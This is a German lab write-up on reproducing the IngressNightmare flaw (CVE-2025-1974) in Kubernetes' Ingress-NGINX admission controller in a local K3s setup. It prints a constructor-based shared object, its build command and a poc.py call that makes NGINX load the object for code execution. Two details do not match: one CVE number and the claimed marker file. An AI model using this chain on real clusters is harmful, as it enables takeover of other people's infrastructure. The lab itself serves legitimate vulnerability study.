
Ingress-NGINX: Ein Ingress-Controller für Kubernetes, der NGINX als Reverse-Proxy und Lastverteiler verwendet
Die „IngressNightmare"-Schwachstelle (CVE-2025-1974) rührt von einem kritischen Fehler im Ingress-NGINX Admission Controller her, dem zentralen Sicherheitsmechanismus von Kubernetes, der eingehende Ingress-Ressourcen validiert.
Dieser Controller ist ohne Authentifizierung im Netzwerk erreichbar, sodass ein Angreifer bösartige AdmissionReview-Anfragen manipulieren und unbefugte Konfigurationen in Ingress-Ressourcen einschleusen kann.
In Verbindung mit anderen Schwachstellen (CVE-2025-24514, CVE-2024-1097 oder CVE-2025-1098) kann dies zu Remote-Codeausführung führen.
Einige ausnutzbare Ketten sind:
CVE-2025-1974+CVE-2025-24514: RCE durch auth-url-Anmerkungsinjektion
CVE-2025-1974+CVE-2025-1097: RCE durch auth-tls-match-cn-Anmerkung
CVE-2025-1974+CVE-2025-1098: RCE durch Missbrauch der Image-UID
Zur Simulation der Schwachstelle wird aus Gründen der Einfachheit eine K3s-basierte Kubernetes-Umgebung verwendet.
docker compose up -d
Warten, bis die Kubernetes-API bereit ist und der Ingress-nginx-Controller gestartet wurde. Sobald die Umgebung läuft, lauscht Ingress-NGINX auf den Ports 30080 und 30443 (TLS), der Ingress-NGINX Admission Controller auf Port 30443.
Zuerst muss eine Shared-Object-Datei ( .so ) kompiliert werden, die mit der Architektur des Containers übereinstimmt.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
AdmissionReview Der Exploit funktioniert, indem er eine Anweisungsinjektionsanfrage fälscht, die NGINX zwingt, das bösartige dynamische Shared Object zu laden.
Wenn der Exploit erfolgreich ist, kann man sehen, dass eine Datei ssl_engine innerhalb des ingress-nginx-Containers erstellt wird.
